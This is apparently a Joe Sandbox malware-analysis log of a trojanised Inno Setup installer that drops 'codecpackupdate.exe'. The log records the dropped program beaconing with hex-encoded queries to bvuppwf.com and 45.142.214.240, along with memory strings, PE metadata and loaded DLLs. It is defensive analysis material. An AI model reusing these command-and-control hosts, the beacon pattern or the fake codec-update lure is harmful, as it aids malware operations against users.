Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown

DNS traffic detected: queries for: bvuppwf.com

Source: codecpackupdate.exe, 00000003.00000002.2868115063.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/
Source: codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/se0-
Source: codecpackupdate.exe, 00000003.00000002.2869004771.0000000003682000.00000004.00000020.00020000.00000000.sdmp, codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=
Source: codecpackupdate.exe, 00000003.00000002.2869004771.0000000003682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd8
Source: codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd86d55f128
Source: codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d784
Source: codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c(
Source: codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e9
Source: codecpackupdate.exe, 00000003.00000002.2869086684.0000000003786000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e99282
Source: codecpackupdate.exe, 00000003.00000002.2868115063.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df
Source: codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.142.214.240/search/?q=67e28dd86d55f128U-~
Source: is-K7UM1.tmp.1.dr	String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://vovsoft.com
Source: 0RWRPBSuDx.tmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-MD4P1.tmp.1.dr, 0RWRPBSuDx.tmp.0.dr	String found in binary or memory: http://www.innosetup.com/
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org).
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608850294.0000000002088000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608714441.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-MD4P1.tmp.1.dr, 0RWRPBSuDx.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608850294.0000000002088000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608714441.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-MD4P1.tmp.1.dr, 0RWRPBSuDx.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/psU
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vovsoft.com/contact/
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vovsoft.com/contact/.
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vovsoft.com/newsletter/

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0042ED54 NtdllDefWindowProc_A,	1_2_0042ED54
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00423AF4 NtdllDefWindowProc_A,	1_2_00423AF4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00412548 NtdllDefWindowProc_A,	1_2_00412548
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00455448 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	1_2_00455448
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00473A10 NtdllDefWindowProc_A,	1_2_00473A10

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_0042E6DC: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

1_2_0042E6DC

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		0_2_0040936C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00453D4C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		1_2_00453D4C

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: 0_2_00408330	0_2_00408330
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0046C0D0	1_2_0046C0D0
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00434B5C	1_2_00434B5C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047B0A3	1_2_0047B0A3
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004637D4	1_2_004637D4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00444304	1_2_00444304
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0045C4C4	1_2_0045C4C4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00430700	1_2_00430700
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004449FC	1_2_004449FC
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00480B58	1_2_00480B58
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00444E08	1_2_00444E08
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00459498	1_2_00459498
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0043D5E4	1_2_0043D5E4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00465824	1_2_00465824
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00481A30	1_2_00481A30
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00487BD4	1_2_00487BD4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0042FB90	1_2_0042FB90
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00443D5C	1_2_00443D5C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00433E58	1_2_00433E58
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 2_2_00401051	2_2_00401051
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 2_2_00401C26	2_2_00401C26
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00401051	3_2_00401051
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00401C26	3_2_00401C26
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A0E18D	3_2_00A0E18D
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A0DC99	3_2_00A0DC99
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A0AC3A	3_2_00A0AC3A
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A08442	3_2_00A08442
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A0E5A5	3_2_00A0E5A5
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A12DB4	3_2_00A12DB4
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A09E84	3_2_00A09E84
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A14E29	3_2_00A14E29
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_009FEFAD	3_2_009FEFAD
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A2BCEB	3_2_00A2BCEB
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: 3_2_00A2BD58	3_2_00A2BD58

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Codec Pack Update\is-06H7C.tmp 8A7D2DA7685CEDB267BFA7F0AD3218AFA28F4ED2F1029EE920D66EB398F3476D

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00405964 appears 101 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00406A2C appears 38 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00455DD4 appears 68 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00403400 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00445668 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00455BC8 appears 95 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00433D70 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 0040785C appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00451CC8 appears 88 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00408B74 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00403494 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00445938 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: String function: 00403684 appears 211 times
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: String function: 00A15330 appears 138 times
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Code function: String function: 00A08AE0 appears 37 times

Source: 0RWRPBSuDx.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 0RWRPBSuDx.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 0RWRPBSuDx.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: 0RWRPBSuDx.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 0RWRPBSuDx.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: 0RWRPBSuDx.tmp.0.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: is-MD4P1.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-MD4P1.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-MD4P1.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-MD4P1.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-MD4P1.tmp.1.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: is-K7UM1.tmp.1.dr

Static PE information: Number of sections : 11 > 10

Source: 0RWRPBSuDx.exe, 00000000.00000003.1608850294.0000000002088000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 0RWRPBSuDx.exe
Source: 0RWRPBSuDx.exe, 00000000.00000003.1608714441.0000000002300000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 0RWRPBSuDx.exe

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	Section loaded: cryptbase.dll	Jump to behavior
